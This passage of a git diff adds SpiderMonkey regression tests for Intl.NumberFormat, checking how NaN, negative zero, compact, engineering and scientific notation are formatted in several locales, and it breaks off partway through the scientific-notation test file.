+assertParts(deNoGroupingDecimalFormatter, -1376.25,
+ [MinusSign("-"),
+ Integer("1376"),
+ Decimal(","),
+ Fraction("25")]);
+
+assertParts(deNoGroupingDecimalFormatter, 124816.8359375,
+ [Integer("124816"),
+ Decimal(","),
+ Fraction("8359375")]);
+
+//-----------------------------------------------------------------------------
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Intl/NumberFormat/formatting-NaN.js b/js/src/tests/non262/Intl/NumberFormat/formatting-NaN.js
new file mode 100644
index 0000000000..430d74222e
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/formatting-NaN.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1484943;
+var summary = "Don't crash doing format/formatToParts on -NaN";
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+assertEq("formatToParts" in Intl.NumberFormat(), true);
+
+var nf = new Intl.NumberFormat("en-US");
+var parts;
+
+var values = [NaN, -NaN];
+
+for (var v of values)
+{
+ assertEq(nf.format(v), "NaN");
+
+ parts = nf.formatToParts(v);
+ assertEq(parts.length, 1);
+ assertEq(parts[0].type, "nan");
+ assertEq(parts[0].value, "NaN");
+}
+
+//-----------------------------------------------------------------------------
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Intl/NumberFormat/negativeZeroFractionDigits.js b/js/src/tests/non262/Intl/NumberFormat/negativeZeroFractionDigits.js
new file mode 100644
index 0000000000..0db461f50e
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/negativeZeroFractionDigits.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const optionsList = [
+ {minimumFractionDigits: -0, maximumFractionDigits: -0},
+ {minimumFractionDigits: -0, maximumFractionDigits: +0},
+ {minimumFractionDigits: +0, maximumFractionDigits: -0},
+ {minimumFractionDigits: +0, maximumFractionDigits: +0},
+];
+
+for (let options of optionsList) {
+ let numberFormat = new Intl.NumberFormat("en-US", options);
+
+ let {minimumFractionDigits, maximumFractionDigits} = numberFormat.resolvedOptions();
+ assertEq(minimumFractionDigits, +0);
+ assertEq(maximumFractionDigits, +0);
+
+ assertEq(numberFormat.format(123), "123");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/notation-compact-long.js b/js/src/tests/non262/Intl/NumberFormat/notation-compact-long.js
new file mode 100644
index 0000000000..80c3416afb
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/notation-compact-long.js
@@ -0,0 +1,139 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Nan, Inf, Integer, MinusSign, PlusSign, Decimal, Fraction, Group, Literal,
+ Compact,
+} = NumberFormatParts;
+
+const testcases = [
+ {
+ locale: "en",
+ options: {
+ notation: "compact",
+ compactDisplay: "long",
+ },
+ values: [
+ {value: +0, string: "0", parts: [Integer("0")]},
+ {value: -0, string: "-0", parts: [MinusSign("-"), Integer("0")]},
+ {value: 0n, string: "0", parts: [Integer("0")]},
+
+ {value: 1, string: "1", parts: [Integer("1")]},
+ {value: 10, string: "10", parts: [Integer("10")]},
+ {value: 100, string: "100", parts: [Integer("100")]},
+ {value: 1000, string: "1 thousand", parts: [Integer("1"), Literal(" "), Compact("thousand")]},
+ {value: 10000, string: "10 thousand", parts: [Integer("10"), Literal(" "), Compact("thousand")]},
+ {value: 100000, string: "100 thousand", parts: [Integer("100"), Literal(" "), Compact("thousand")]},
+ {value: 1000000, string: "1 million", parts: [Integer("1"), Literal(" "), Compact("million")]},
+ {value: 10000000, string: "10 million", parts: [Integer("10"), Literal(" "), Compact("million")]},
+ {value: 100000000, string: "100 million", parts: [Integer("100"), Literal(" "), Compact("million")]},
+ {value: 1000000000, string: "1 billion", parts: [Integer("1"), Literal(" "), Compact("billion")]},
+ {value: 10000000000, string: "10 billion", parts: [Integer("10"), Literal(" "), Compact("billion")]},
+ {value: 100000000000, string: "100 billion", parts: [Integer("100"), Literal(" "), Compact("billion")]},
+ {value: 1000000000000, string: "1 trillion", parts: [Integer("1"), Literal(" "), Compact("trillion")]},
+ {value: 10000000000000, string: "10 trillion", parts: [Integer("10"), Literal(" "), Compact("trillion")]},
+ {value: 100000000000000, string: "100 trillion", parts: [Integer("100"), Literal(" "), Compact("trillion")]},
+ {value: 1000000000000000, string: "1000 trillion", parts: [Integer("1000"), Literal(" "), Compact("trillion")]},
+ {value: 10000000000000000, string: "10,000 trillion", parts: [Integer("10"), Group(","), Integer("000"), Literal(" "), Compact("trillion")]},
+ {value: 100000000000000000, string: "100,000 trillion", parts: [Integer("100"), Group(","), Integer("000"), Literal(" "), Compact("trillion")]},
+
+ {value: 1n, string: "1", parts: [Integer("1")]},
+ {value: 10n, string: "10", parts: [Integer("10")]},
+ {value: 100n, string: "100", parts: [Integer("100")]},
+ {value: 1000n, string: "1 thousand", parts: [Integer("1"), Literal(" "), Compact("thousand")]},
+ {value: 10000n, string: "10 thousand", parts: [Integer("10"), Literal(" "), Compact("thousand")]},
+ {value: 100000n, string: "100 thousand", parts: [Integer("100"), Literal(" "), Compact("thousand")]},
+ {value: 1000000n, string: "1 million", parts: [Integer("1"), Literal(" "), Compact("million")]},
+ {value: 10000000n, string: "10 million", parts: [Integer("10"), Literal(" "), Compact("million")]},
+ {value: 100000000n, string: "100 million", parts: [Integer("100"), Literal(" "), Compact("million")]},
+ {value: 1000000000n, string: "1 billion", parts: [Integer("1"), Literal(" "), Compact("billion")]},
+ {value: 10000000000n, string: "10 billion", parts: [Integer("10"), Literal(" "), Compact("billion")]},
+ {value: 100000000000n, string: "100 billion", parts: [Integer("100"), Literal(" "), Compact("billion")]},
+ {value: 1000000000000n, string: "1 trillion", parts: [Integer("1"), Literal(" "), Compact("trillion")]},
+ {value: 10000000000000n, string: "10 trillion", parts: [Integer("10"), Literal(" "), Compact("trillion")]},
+ {value: 100000000000000n, string: "100 trillion", parts: [Integer("100"), Literal(" "), Compact("trillion")]},
+ {value: 1000000000000000n, string: "1000 trillion", parts: [Integer("1000"), Literal(" "), Compact("trillion")]},
+ {value: 10000000000000000n, string: "10,000 trillion", parts: [Integer("10"), Group(","), Integer("000"), Literal(" "), Compact("trillion")]},
+ {value: 100000000000000000n, string: "100,000 trillion", parts: [Integer("100"), Group(","), Integer("000"), Literal(" "), Compact("trillion")]},
+
+ {value: 0.1, string: "0.1", parts: [Integer("0"), Decimal("."), Fraction("1")]},
+ {value: 0.01, string: "0.01", parts: [Integer("0"), Decimal("."), Fraction("01")]},
+ {value: 0.001, string: "0.001", parts: [Integer("0"), Decimal("."), Fraction("001")]},
+ {value: 0.0001, string: "0.0001", parts: [Integer("0"), Decimal("."), Fraction("0001")]},
+ {value: 0.00001, string: "0.00001", parts: [Integer("0"), Decimal("."), Fraction("00001")]},
+ {value: 0.000001, string: "0.000001", parts: [Integer("0"), Decimal("."), Fraction("000001")]},
+ {value: 0.0000001, string: "0.0000001", parts: [Integer("0"), Decimal("."), Fraction("0000001")]},
+
+ {value: 12, string: "12", parts: [Integer("12")]},
+ {value: 123, string: "123", parts: [Integer("123")]},
+ {value: 1234, string: "1.2 thousand", parts: [Integer("1"), Decimal("."), Fraction("2"), Literal(" "), Compact("thousand")]},
+ {value: 12345, string: "12 thousand", parts: [Integer("12"), Literal(" "), Compact("thousand")]},
+ {value: 123456, string: "123 thousand", parts: [Integer("123"), Literal(" "), Compact("thousand")]},
+ {value: 1234567, string: "1.2 million", parts: [Integer("1"), Decimal("."), Fraction("2"), Literal(" "), Compact("million")]},
+ {value: 12345678, string: "12 million", parts: [Integer("12"), Literal(" "), Compact("million")]},
+ {value: 123456789, string: "123 million", parts: [Integer("123"), Literal(" "), Compact("million")]},
+
+ {value: Infinity, string: "∞", parts: [Inf("∞")]},
+ {value: -Infinity, string: "-∞", parts: [MinusSign("-"), Inf("∞")]},
+
+ {value: NaN, string: "NaN", parts: [Nan("NaN")]},
+ {value: -NaN, string: "NaN", parts: [Nan("NaN")]},
+ ],
+ },
+
+ // The "{compactName}" placeholder may have different plural forms.
+ {
+ locale: "de",
+ options: {
+ notation: "compact",
+ compactDisplay: "long",
+ },
+ values: [
+ {value: 1e6, string: "1 Million", parts: [Integer("1"), Literal(" "), Compact("Million")]},
+ {value: 2e6, string: "2 Millionen", parts: [Integer("2"), Literal(" "), Compact("Millionen")]},
+ {value: 1e9, string: "1 Milliarde", parts: [Integer("1"), Literal(" "), Compact("Milliarde")]},
+ {value: 2e9, string: "2 Milliarden", parts: [Integer("2"), Literal(" "), Compact("Milliarden")]},
+ ],
+ },
+
+ // Digits are grouped in myriads (every 10,000) in Japanese.
+ {
+ locale: "ja",
+ options: {
+ notation: "compact",
+ compactDisplay: "long",
+ },
+ values: [
+ {value: 1, string: "1", parts: [Integer("1")]},
+ {value: 10, string: "10", parts: [Integer("10")]},
+ {value: 100, string: "100", parts: [Integer("100")]},
+ {value: 1000, string: "1000", parts: [Integer("1000")]},
+
+ {value: 10e3, string: "1\u4E07", parts: [Integer("1"), Compact("\u4E07")]},
+ {value: 100e3, string: "10\u4E07", parts: [Integer("10"), Compact("\u4E07")]},
+ {value: 1000e3, string: "100\u4E07", parts: [Integer("100"), Compact("\u4E07")]},
+ {value: 10000e3, string: "1000\u4E07", parts: [Integer("1000"), Compact("\u4E07")]},
+
+ {value: 10e7, string: "1\u5104", parts: [Integer("1"), Compact("\u5104")]},
+ {value: 100e7, string: "10\u5104", parts: [Integer("10"), Compact("\u5104")]},
+ {value: 1000e7, string: "100\u5104", parts: [Integer("100"), Compact("\u5104")]},
+ {value: 10000e7, string: "1000\u5104", parts: [Integer("1000"), Compact("\u5104")]},
+
+ {value: 10e11, string: "1\u5146", parts: [Integer("1"), Compact("\u5146")]},
+ {value: 100e11, string: "10\u5146", parts: [Integer("10"), Compact("\u5146")]},
+ {value: 1000e11, string: "100\u5146", parts: [Integer("100"), Compact("\u5146")]},
+ {value: 10000e11, string: "1000\u5146", parts: [Integer("1000"), Compact("\u5146")]},
+
+ {value: 10e15, string: "1\u4EAC", parts: [Integer("1"), Compact("\u4EAC")]},
+ {value: 100e15, string: "10\u4EAC", parts: [Integer("10"), Compact("\u4EAC")]},
+ {value: 1000e15, string: "100\u4EAC", parts: [Integer("100"), Compact("\u4EAC")]},
+ {value: 10000e15, string: "1000\u4EAC", parts: [Integer("1000"), Compact("\u4EAC")]},
+
+ {value: 100000e15, string: "10,000\u4EAC", parts: [Integer("10"), Group(","), Integer("000"), Compact("\u4EAC")]},
+ ],
+ },
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/notation-compact-short.js b/js/src/tests/non262/Intl/NumberFormat/notation-compact-short.js
new file mode 100644
index 0000000000..f3a546294d
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/notation-compact-short.js
@@ -0,0 +1,136 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Nan, Inf, Integer, MinusSign, PlusSign, Decimal, Fraction, Group, Literal,
+ Compact,
+} = NumberFormatParts;
+
+const testcases = [
+ {
+ locale: "en",
+ options: {
+ notation: "compact",
+ compactDisplay: "short",
+ },
+ values: [
+ {value: +0, string: "0", parts: [Integer("0")]},
+ {value: -0, string: "-0", parts: [MinusSign("-"), Integer("0")]},
+ {value: 0n, string: "0", parts: [Integer("0")]},
+
+ {value: 1, string: "1", parts: [Integer("1")]},
+ {value: 10, string: "10", parts: [Integer("10")]},
+ {value: 100, string: "100", parts: [Integer("100")]},
+ {value: 1000, string: "1K", parts: [Integer("1"), Compact("K")]},
+ {value: 10000, string: "10K", parts: [Integer("10"), Compact("K")]},
+ {value: 100000, string: "100K", parts: [Integer("100"), Compact("K")]},
+ {value: 1000000, string: "1M", parts: [Integer("1"), Compact("M")]},
+ {value: 10000000, string: "10M", parts: [Integer("10"), Compact("M")]},
+ {value: 100000000, string: "100M", parts: [Integer("100"), Compact("M")]},
+ {value: 1000000000, string: "1B", parts: [Integer("1"), Compact("B")]},
+ {value: 10000000000, string: "10B", parts: [Integer("10"), Compact("B")]},
+ {value: 100000000000, string: "100B", parts: [Integer("100"), Compact("B")]},
+ {value: 1000000000000, string: "1T", parts: [Integer("1"), Compact("T")]},
+ {value: 10000000000000, string: "10T", parts: [Integer("10"), Compact("T")]},
+ {value: 100000000000000, string: "100T", parts: [Integer("100"), Compact("T")]},
+ {value: 1000000000000000, string: "1000T", parts: [Integer("1000"), Compact("T")]},
+ {value: 10000000000000000, string: "10,000T", parts: [Integer("10"), Group(","), Integer("000"), Compact("T")]},
+ {value: 100000000000000000, string: "100,000T", parts: [Integer("100"), Group(","), Integer("000"), Compact("T")]},
+
+ {value: 1n, string: "1", parts: [Integer("1")]},
+ {value: 10n, string: "10", parts: [Integer("10")]},
+ {value: 100n, string: "100", parts: [Integer("100")]},
+ {value: 1000n, string: "1K", parts: [Integer("1"), Compact("K")]},
+ {value: 10000n, string: "10K", parts: [Integer("10"), Compact("K")]},
+ {value: 100000n, string: "100K", parts: [Integer("100"), Compact("K")]},
+ {value: 1000000n, string: "1M", parts: [Integer("1"), Compact("M")]},
+ {value: 10000000n, string: "10M", parts: [Integer("10"), Compact("M")]},
+ {value: 100000000n, string: "100M", parts: [Integer("100"), Compact("M")]},
+ {value: 1000000000n, string: "1B", parts: [Integer("1"), Compact("B")]},
+ {value: 10000000000n, string: "10B", parts: [Integer("10"), Compact("B")]},
+ {value: 100000000000n, string: "100B", parts: [Integer("100"), Compact("B")]},
+ {value: 1000000000000n, string: "1T", parts: [Integer("1"), Compact("T")]},
+ {value: 10000000000000n, string: "10T", parts: [Integer("10"), Compact("T")]},
+ {value: 100000000000000n, string: "100T", parts: [Integer("100"), Compact("T")]},
+ {value: 1000000000000000n, string: "1000T", parts: [Integer("1000"), Compact("T")]},
+ {value: 10000000000000000n, string: "10,000T", parts: [Integer("10"), Group(","), Integer("000"), Compact("T")]},
+ {value: 100000000000000000n, string: "100,000T", parts: [Integer("100"), Group(","), Integer("000"), Compact("T")]},
+
+ {value: 0.1, string: "0.1", parts: [Integer("0"), Decimal("."), Fraction("1")]},
+ {value: 0.01, string: "0.01", parts: [Integer("0"), Decimal("."), Fraction("01")]},
+ {value: 0.001, string: "0.001", parts: [Integer("0"), Decimal("."), Fraction("001")]},
+ {value: 0.0001, string: "0.0001", parts: [Integer("0"), Decimal("."), Fraction("0001")]},
+ {value: 0.00001, string: "0.00001", parts: [Integer("0"), Decimal("."), Fraction("00001")]},
+ {value: 0.000001, string: "0.000001", parts: [Integer("0"), Decimal("."), Fraction("000001")]},
+ {value: 0.0000001, string: "0.0000001", parts: [Integer("0"), Decimal("."), Fraction("0000001")]},
+
+ {value: 12, string: "12", parts: [Integer("12")]},
+ {value: 123, string: "123", parts: [Integer("123")]},
+ {value: 1234, string: "1.2K", parts: [Integer("1"), Decimal("."), Fraction("2"), Compact("K")]},
+ {value: 12345, string: "12K", parts: [Integer("12"), Compact("K")]},
+ {value: 123456, string: "123K", parts: [Integer("123"), Compact("K")]},
+ {value: 1234567, string: "1.2M", parts: [Integer("1"), Decimal("."), Fraction("2"), Compact("M")]},
+ {value: 12345678, string: "12M", parts: [Integer("12"), Compact("M")]},
+ {value: 123456789, string: "123M", parts: [Integer("123"), Compact("M")]},
+
+ {value: Infinity, string: "∞", parts: [Inf("∞")]},
+ {value: -Infinity, string: "-∞", parts: [MinusSign("-"), Inf("∞")]},
+
+ {value: NaN, string: "NaN", parts: [Nan("NaN")]},
+ {value: -NaN, string: "NaN", parts: [Nan("NaN")]},
+ ],
+ },
+
+ // Compact symbol can consist of multiple characters, e.g. when it's an abbreviation.
+ {
+ locale: "de",
+ options: {
+ notation: "compact",
+ compactDisplay: "short",
+ },
+ values: [
+ {value: 1e6, string: "1\u00A0Mio.", parts: [Integer("1"), Literal("\u00A0"), Compact("Mio.")]},
+ {value: 1e9, string: "1\u00A0Mrd.", parts: [Integer("1"), Literal("\u00A0"), Compact("Mrd.")]},
+ {value: 1e12, string: "1\u00A0Bio.", parts: [Integer("1"), Literal("\u00A0"), Compact("Bio.")]},
+
+ // CLDR doesn't support "Billiarde" (Brd.), Trillion (Trill.), etc.
+ {value: 1e15, string: "1000\u00A0Bio.", parts: [Integer("1000"), Literal("\u00A0"), Compact("Bio.")]},
+ ],
+ },
+
+ // Digits are grouped in myriads (every 10,000) in Chinese.
+ {
+ locale: "zh",
+ options: {
+ notation: "compact",
+ compactDisplay: "short",
+ },
+ values: [
+ {value: 1, string: "1", parts: [Integer("1")]},
+ {value: 10, string: "10", parts: [Integer("10")]},
+ {value: 100, string: "100", parts: [Integer("100")]},
+ {value: 1000, string: "1000", parts: [Integer("1000")]},
+
+ {value: 10e3, string: "1\u4E07", parts: [Integer("1"), Compact("\u4E07")]},
+ {value: 100e3, string: "10\u4E07", parts: [Integer("10"), Compact("\u4E07")]},
+ {value: 1000e3, string: "100\u4E07", parts: [Integer("100"), Compact("\u4E07")]},
+ {value: 10000e3, string: "1000\u4E07", parts: [Integer("1000"), Compact("\u4E07")]},
+
+ {value: 10e7, string: "1\u4EBF", parts: [Integer("1"), Compact("\u4EBF")]},
+ {value: 100e7, string: "10\u4EBF", parts: [Integer("10"), Compact("\u4EBF")]},
+ {value: 1000e7, string: "100\u4EBF", parts: [Integer("100"), Compact("\u4EBF")]},
+ {value: 10000e7, string: "1000\u4EBF", parts: [Integer("1000"), Compact("\u4EBF")]},
+
+ {value: 10e11, string: "1\u4E07\u4EBF", parts: [Integer("1"), Compact("\u4E07\u4EBF")]},
+ {value: 100e11, string: "10\u4E07\u4EBF", parts: [Integer("10"), Compact("\u4E07\u4EBF")]},
+ {value: 1000e11, string: "100\u4E07\u4EBF", parts: [Integer("100"), Compact("\u4E07\u4EBF")]},
+ {value: 10000e11, string: "1000\u4E07\u4EBF", parts: [Integer("1000"), Compact("\u4E07\u4EBF")]},
+
+ {value: 100000e11, string: "10,000\u4E07\u4EBF", parts: [Integer("10"), Group(","), Integer("000"), Compact("\u4E07\u4EBF")]},
+ ],
+ },
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/notation-compact-with-fraction-digits.js b/js/src/tests/non262/Intl/NumberFormat/notation-compact-with-fraction-digits.js
new file mode 100644
index 0000000000..4bdf26b9ad
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/notation-compact-with-fraction-digits.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+let nf = new Intl.NumberFormat("en", {
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 2,
+ notation: "compact",
+});
+
+assertEq(nf.format(1500), "1.5K");
+assertEq(nf.format(1520), "1.52K");
+assertEq(nf.format(1540), "1.54K");
+assertEq(nf.format(1550), "1.55K");
+assertEq(nf.format(1560), "1.56K");
+assertEq(nf.format(1580), "1.58K");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/notation-engineering.js b/js/src/tests/non262/Intl/NumberFormat/notation-engineering.js
new file mode 100644
index 0000000000..b4c0e19e53
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/notation-engineering.js
@@ -0,0 +1,136 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Nan, Inf, Integer, MinusSign, PlusSign, Decimal, Fraction, Group,
+ ExponentSeparator, ExponentInteger, ExponentMinusSign,
+} = NumberFormatParts;
+
+const testcases = [
+ {
+ locale: "en",
+ options: {
+ notation: "engineering",
+ },
+ values: [
+ {value: +0, string: "0E0", parts: [Integer("0"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: -0, string: "-0E0", parts: [MinusSign("-"), Integer("0"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 0n, string: "0E0", parts: [Integer("0"), ExponentSeparator("E"), ExponentInteger("0")]},
+
+ {value: 1, string: "1E0", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 10, string: "10E0", parts: [Integer("10"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 100, string: "100E0", parts: [Integer("100"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 1000, string: "1E3", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 10000, string: "10E3", parts: [Integer("10"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 100000, string: "100E3", parts: [Integer("100"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 1000000, string: "1E6", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("6")]},
+
+ {value: 1n, string: "1E0", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 10n, string: "10E0", parts: [Integer("10"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 100n, string: "100E0", parts: [Integer("100"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 1000n, string: "1E3", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 10000n, string: "10E3", parts: [Integer("10"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 100000n, string: "100E3", parts: [Integer("100"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 1000000n, string: "1E6", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("6")]},
+
+ {value: 0.1, string: "100E-3", parts: [Integer("100"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")]},
+ {value: 0.01, string: "10E-3", parts: [Integer("10"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")]},
+ {value: 0.001, string: "1E-3", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")]},
+ {value: 0.0001, string: "100E-6", parts: [Integer("100"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("6")]},
+ {value: 0.00001, string: "10E-6", parts: [Integer("10"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("6")]},
+ {value: 0.000001, string: "1E-6", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("6")]},
+ {value: 0.0000001, string: "100E-9", parts: [Integer("100"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("9")]},
+
+ {value: Infinity, string: "∞", parts: [Inf("∞")]},
+ {value: -Infinity, string: "-∞", parts: [MinusSign("-"), Inf("∞")]},
+
+ {value: NaN, string: "NaN", parts: [Nan("NaN")]},
+ {value: -NaN, string: "NaN", parts: [Nan("NaN")]},
+ ],
+ },
+
+ // Exponent modifications take place early, so while in the "standard" notation
+ // `Intl.NumberFormat("en", {maximumFractionDigits: 0}).format(0.1)` returns "0", for
+ // "engineering" notation the result string is not "0", but instead "100E-3".
+
+ {
+ locale: "en",
+ options: {
+ notation: "engineering",
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: 0.1, string: "100E-3", parts: [
+ Integer("100"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "engineering",
+ minimumFractionDigits: 4,
+ },
+ values: [
+ {value: 10, string: "10.0000E0", parts: [
+ Integer("10"), Decimal("."), Fraction("0000"), ExponentSeparator("E"), ExponentInteger("0")
+ ]},
+ {value: 0.1, string: "100.0000E-3", parts: [
+ Integer("100"), Decimal("."), Fraction("0000"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "engineering",
+ minimumIntegerDigits: 4,
+ },
+ values: [
+ {value: 10, string: "0,010E0", parts: [
+ Integer("0"), Group(","), Integer("010"), ExponentSeparator("E"), ExponentInteger("0")
+ ]},
+ {value: 0.1, string: "0,100E-3", parts: [
+ Integer("0"), Group(","), Integer("100"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "engineering",
+ minimumSignificantDigits: 4,
+ },
+ values: [
+ {value: 10, string: "10.00E0", parts: [
+ Integer("10"), Decimal("."), Fraction("00"), ExponentSeparator("E"), ExponentInteger("0")
+ ]},
+ {value: 0.1, string: "100.0E-3", parts: [
+ Integer("100"), Decimal("."), Fraction("0"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "engineering",
+ maximumSignificantDigits: 1,
+ },
+ values: [
+ {value: 12, string: "10E0", parts: [
+ Integer("10"), ExponentSeparator("E"), ExponentInteger("0")
+ ]},
+ {value: 0.12, string: "100E-3", parts: [
+ Integer("100"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")
+ ]},
+ ],
+ },
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/notation-scientific.js b/js/src/tests/non262/Intl/NumberFormat/notation-scientific.js
new file mode 100644
index 0000000000..f14a660129
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/notation-scientific.js
@@ -0,0 +1,136 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Nan, Inf, Integer, MinusSign, PlusSign, Decimal, Fraction, Group,
+ ExponentSeparator, ExponentInteger, ExponentMinusSign,
+} = NumberFormatParts;
+
+const testcases = [
+ {
+ locale: "en",
+ options: {
+ notation: "scientific",
+ },
+ values: [
+ {value: +0, string: "0E0", parts: [Integer("0"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: -0, string: "-0E0", parts: [MinusSign("-"), Integer("0"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 0n, string: "0E0", parts: [Integer("0"), ExponentSeparator("E"), ExponentInteger("0")]},
+
+ {value: 1, string: "1E0", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 10, string: "1E1", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("1")]},
+ {value: 100, string: "1E2", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("2")]},
+ {value: 1000, string: "1E3", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 10000, string: "1E4", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("4")]},
+ {value: 100000, string: "1E5", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("5")]},
+ {value: 1000000, string: "1E6", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("6")]},
+
+ {value: 1n, string: "1E0", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 10n, string: "1E1", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("1")]},
+ {value: 100n, string: "1E2", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("2")]},
+ {value: 1000n, string: "1E3", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 10000n, string: "1E4", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("4")]},
+ {value: 100000n, string: "1E5", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("5")]},
+ {value: 1000000n, string: "1E6", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("6")]},
+
+ {value: 0.1, string: "1E-1", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("1")]},
+ {value: 0.01, string: "1E-2", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("2")]},
+ {value: 0.001, string: "1E-3", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")]},
+ {value: 0.0001, string: "1E-4", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("4")]},
+ {value: 0.00001, string: "1E-5", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("5")]},
+ {value: 0.000001, string: "1E-6", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("6")]},
+ {value: 0.0000001, string: "1E-7", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("7")]},
+
+ {value: Infinity, string: "∞", parts: [Inf("∞")]},
+ {value: -Infinity, string: "-∞", parts: [MinusSign("-"), Inf("∞")]},
+
+ {value: NaN, string: "NaN", parts: [Nan("NaN")]},
+ {value: -NaN, string: "NaN", parts: [Nan("NaN")]},
+ ],
+ },
+
+ // Exponent modifications take place early, so while in the "standard" notation
+ // `Intl.NumberFormat("en", {maximumFractionDigits: 0}).format(0.1)` returns "0", for
+ // "scientific" notation the result string is not "0", but instead "1E-1".
+
+ {
+ locale: "en",
+ options: {
+ notation: "scientific",
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: 0.1, string: "1E-1", parts: [
+ Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("1")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "scientific",
+ minimumFractionDigits: 4,
+ },
+ values: [
